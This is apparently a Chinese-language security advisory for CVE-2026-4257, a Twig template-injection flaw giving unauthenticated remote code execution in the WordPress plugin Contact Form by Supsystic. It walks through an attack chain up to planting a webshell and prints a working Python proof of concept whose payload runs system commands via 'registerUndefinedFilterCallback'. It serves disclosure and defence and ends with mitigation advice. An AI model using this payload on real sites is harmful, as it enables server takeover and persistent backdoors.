IPBUF安全漏洞报告
English
CVE-2026-4257 CVSS 9.8 严重

CVE-2026-4257 WordPress插件SSTI致RCE漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-4257
漏洞类型
服务端模板注入 (SSTI) / 远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Contact Form by Supsystic 插件

相关标签

SSTIRCEWordPressCVE-2026-4257TwigPHPContact Form by Supsystic

漏洞概述

WordPress插件Contact Form by Supsystic在1.7.36及之前版本中存在严重的安全漏洞。该漏洞是由于插件在使用Twig模板引擎时未启用沙箱模式,且`cfsPreFill`功能允许未认证用户通过GET参数注入数据。攻击者利用此漏洞可构造恶意请求,在服务器端执行任意PHP代码和系统命令,获取服务器控制权。

技术细节

该漏洞的核心在于插件直接使用了Twig模板引擎的`Twig_Loader_String`类,且未配置安全沙箱,导致可以执行危险的Twig语法。同时,插件提供的`cfsPreFill`预填充功能允许未经身份验证的攻击者通过HTTP GET请求参数直接控制表单字段的值。攻击者可以向这些字段注入恶意的Twig模板语法。利用Twig的`registerUndefinedFilterCallback()`方法,攻击者可以将未定义的过滤器回调动态注册为任意PHP函数(如`system`或`exec`)。当服务器端渲染该模板时,注入的恶意表达式被解析并执行,从而使得攻击者能够在服务器上下文中执行任意操作系统命令,实现完全的远程代码执行。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标WordPress站点使用了Contact Form by Supsystic插件,且版本低于或等于1.7.36。
STEP 2
2. 漏洞探测
攻击者向网站发送特制的GET请求,在`cfsPreFill`相关的参数中注入简单的Twig表达式(如`{{7*7}}`),以确认是否存在SSTI。
STEP 3
3. 构造攻击载荷
攻击者构造恶意的Twig payload,利用`registerUndefinedFilterCallback`方法将未定义过滤器映射到`system`等PHP危险函数。
STEP 4
4. 执行代码
攻击者发送包含恶意载荷的HTTP请求,服务器端解析模板并执行payload,从而在服务器上运行任意系统命令。
STEP 5
5. 建立持久化
攻击者利用获取的权限写入Webshell或后门程序,建立对服务器的长期控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://example.com/" # The vulnerable parameter is often related to form pre-filling via GET # The payload uses Twig syntax to register 'system' as a callback for undefined filters # and then executes the 'id' command. payload = "{{_self.env.registerUndefinedFilterCallback('system')}}{{['id']|filter('system')}}" # Construct the GET request # Note: The specific parameter name (e.g., 'cfs', 'data', 'form_field') may vary based on plugin configuration params = { "cfsPreFill": "1", "form_field": payload # Attacker controls the input to the template } try: response = requests.get(target_url, params=params, timeout=10) # Check if the command output is present in the response if "uid=" in response.text: print("[+] Exploit successful! RCE achieved.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Exploit failed or output not found.") except Exception as e: print(f"Error: {e}")

影响范围

Contact Form by Supsystic <= 1.7.36

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Contact Form by Supsystic插件。或者通过服务器配置(如Apache的.htaccess或Nginx规则)阻断对外部参数的异常请求,特别是拦截包含`{{`、`_self.env`等Twig特征字符的URL请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表